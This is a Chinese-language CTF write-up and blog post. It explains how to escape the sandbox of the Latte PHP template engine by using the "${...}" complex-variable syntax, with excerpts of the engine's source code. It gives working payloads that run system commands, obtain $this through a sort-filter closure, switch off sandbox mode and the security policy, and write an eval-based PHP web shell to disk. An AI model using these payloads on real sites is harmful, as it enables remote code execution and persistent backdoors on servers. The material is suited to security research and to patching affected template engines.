TL;DR
最近西湖论剑有一道使用Latte的题目,当时我也是用的偷鸡办法做的,当时时间限制就没有仔仔细细的去寻找逃逸的办法。
直到赛后我发现逃逸的办法很简单
1
| {="${system('nl /flag')}"}
|
这里使用的是php的基础语法,我就不过多赘述了。这个复杂变量网上也有很多文章。
赛后我无聊的时候简单看了下Latte,找了点后续的利用,比如获取$this变量,还有任意代码执行。然后发现网上关于这个引擎的文章很少,就来水一篇吧。
”${}“ Bypass
我粗略的读了下Latte,其实Latte确实是对$$和${}进行了检测的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public function sandboxPass(MacroTokens $tokens): MacroTokens{ ...... elseif ($tokens->isCurrent('$')) { throw new CompileException('Forbidden variable variables.');
} ...... else { $member = $tokens->nextAll($tokens::T_VARIABLE, '$'); $expr->tokens = $op === '::' && !$tokens->isNext('(') ? array_merge($expr->tokens, array_slice($member, 1)) : array_merge($expr->tokens, $member); }
......
}
|
从给的注释和报错的异常也能看出来,这里通过前面的词法,语法分析出来的token在检测形容${},$$var这样的结构。
如果你直接在模板里书写${$xx}确实会报上面哪个异常
但是如果使用”${xxx}”,可能在前面词法,语法分析就会认为这是个定义的字符串,根本不会进入这里的sandboxPass方法了
可以从一个尽量精简的例子来看看后续的流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
require 'vendor/autoload.php'; $latte = new Latte\Engine; $latte->setTempDirectory('tempdir'); $policy = new Latte\Sandbox\SecurityPolicy; $policy->allowMacros(['block', 'if', 'else','=']); $policy->allowFilters($policy::ALL); $policy->allowFunctions(['trim', 'strlen']); $latte->setPolicy($policy); $latte->setSandboxMode(); $latte->setAutoRefresh(true);
if(isset($_FILES['file'])){ $uploaddir = '/var/www/html/tempdir/'; $filename = basename($_FILES['file']['name']); if(stristr($filename,'p') or stristr($filename,'h') or stristr($filename,'..')){ die('no'); } $file_conents = file_get_contents($_FILES['file']['tmp_name']); if(strlen($file_conents)>28 or stristr($file_conents,'<')){ die('no'); } $uploadfile = $uploaddir . $filename; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { $message = $filename ." was successfully uploaded."; } else { $message = "error!"; }
$params = [ 'message' => $message, ]; $latte->render('tempdir/index.latte', $params); } else if($_GET['source']==1){ highlight_file(__FILE__); } else{ $latte->render('tempdir/index.latte', ['message'=>'Hellow My Glzjin!']); }
|
1 2 3 4
| <ul> {="${eval('echo \'pwn!\';')}"} </ul>
|

调用栈张这样,光从名字来看应该还是挺清晰的
主要看看buildClassBody方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| private function buildClassBody(array $tokens){ ...... $macroHandlers = new \SplObjectStorage;
if ($this->macros) { array_map([$macroHandlers, 'attach'], array_merge(...array_values($this->macros))); }
foreach ($macroHandlers as $handler) { $handler->initialize($this); }
foreach ($tokens as $this->position => $token) { if ($this->inHead && !( $token->type === $token::COMMENT || $token->type === $token::MACRO_TAG && ($this->flags[$token->name] ?? null) & Macro::ALLOWED_IN_HEAD || $token->type === $token::TEXT && trim($token->text) === '' )) { $this->inHead = false; } $this->{"process$token->type"}($token); } ......
|
在上面哪个示范中,$this->{“process$token->type”}($token);当$token->type=MacroTag时,调用的就是$this->processMacroTag($token);
主要来看看这个MacroTag的处理过程,因为这个MacroTag就代表{="${eval('echo \'pwn!\';')}"}
1 2 3 4 5 6
| private function processMacroTag(Token $token): void{ ......
$node = $this->openMacro($token->name, $token->value, $token->modifiers, $isRightmost); ...... }
|
1 2 3 4 5 6 7 8 9 10 11
| public function openMacro( string $name, string $args = '', string $modifiers = '', bool $isRightmost = false, string $nPrefix = null ): MacroNode { ...... $node = $this->expandMacro($name, $args, $modifiers, $nPrefix); ...... }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public function expandMacro(string $name, string $args, string $modifiers = '', string $nPrefix = null): MacroNode{ if (empty($this->macros[$name])){ ...... } $modifiers = (string) $modifiers; ....... ....... foreach (array_reverse($this->macros[$name]) as $macro) { $node = new MacroNode($macro, $name, $args, $modifiers, $this->macroNode, $this->htmlNode, $nPrefix); $node->context = $context; $node->startLine = $nPrefix ? $this->htmlNode->startLine : $this->getLine(); if ($macro->nodeOpened($node) !== false) { return $node; } } }
|
来到MacroSet的nodeOpened(这里是CoreMacros继承的MacroSet方法)然后调用了MacroSet的compile方法,对于本例会来到CoreMacros的macroExpr,通过这个方法上面的注释也能明白这里是在准备编译表达式,在准备将表达式打印的语句编译出来。
1
| nodeOpened(MacroNode $node) -> compile(MacroNode $node, $def)->macroExpr(MacroNode $node, PhpWriter $writer)
|
然后来到PhpWriter的write方法
1 2 3 4 5 6 7 8
|
public function write(string $mask, ...$args): string ...... //这整个PhpWriter其实都在干一件事就是去生成一个类似于格式化字符串的结果 //对于本例,当格式化参数的时候,会一路调用到PhpWriter的sandboxPass方法
|
在PhpWriter的sandboxPass方法中,会根据目前他拿到的tokens来做判断(虽然初始化PhpWriter的时候,传给他的tokens属性的变量叫tokenizer,实际上传过去的是是当时哪个节点对于分词器的一个包装)
1 2 3 4
| .... elseif ($tokens->isCurrent('$')) { throw new CompileException('Forbidden variable variables.'); ....
|

可以看到这里如果使用$tokens->isCurrent(‘$’)自然而然获取到的是"${eval(xxxxxx)}"
并不是一个$
的token。
所以就绕过了sandbox。
底层的原理也很简单,其实就是Latte的解析并没有与php一致。也就是说Latte认为这就是在输出一个字符串而已,但是最后生成的php文件中,这确实是一个符合语法规则的复杂变量。
How to get $this
模板沙盒逃逸一般大家第一步都喜欢去寻找一些内置变量一类,看看有没有什么操作的空间。但是Latte我粗略的看了下官方文档,好像没有内置变量。直接使用$this会直接被ban。
这里我当时看到了一个过滤器sort
1 2 3 4
| You can pass your own comparison function as a parameter:
{var $sorted = ($names|sort: fn($a, $b) => $b <=> $a)}
|
这样的东西看起来就很危险,而且最后是会编译成php文件的,所以我猜测自定义匿名函数的代码片段最后生成到php文件时不会产生太大的变化。我当时试了试在匿名函数里面定义一个没用的变量。在最后编译生成的php文件里,我也确实看到了我定义的变量。所以我就觉得这个地方是有操作空间的。
如果你直接准备再这里进行函数调用会被直接拦下来的,静态调用过不了编译。动态调用因为上文提到的sandboxPass方法,会进行以下转换比如
1
| trim("phpinfo\t")(); => $this->call(trim("phpinfo\t"))();
|
其中$this变量是一个Latte\Runtime\Template的对象,他的这个call其实就是在检测白名单,并且适配了php的几种动态调用的形式,比如数组之类的。
我水平有限也无法规避Latte对动态调用这样的转换。(可能可以使用类似mxss的思路去规避?)
所以我就还是准备使用”${}”看看能否获得$this变量
1 2 3 4 5 6 7 8 9
| <li>{=["this","siebene"]|sort: function ($a,$b) {
"${is_string(${$a}->getEngine()->setSandboxMode(false))}"; "${is_string(${$a}->getEngine()->setPolicy(null))}";
}}</li>
|
发现还是挺简单的,我就拿到了$this变量,并且关闭了沙盒还有清空了策略。
Another RCE Payloads
有兴趣看的话,感觉payload应该还是会有挺多的
1 2 3
| <li>{=["this","siebene"]|sort: function ($a,$b) { "${is_string(${$a}->call(function (){ file_put_contents('sie.php','<?php eval($_GET[s]);');phpinfo(); })())}"; }}</li>
|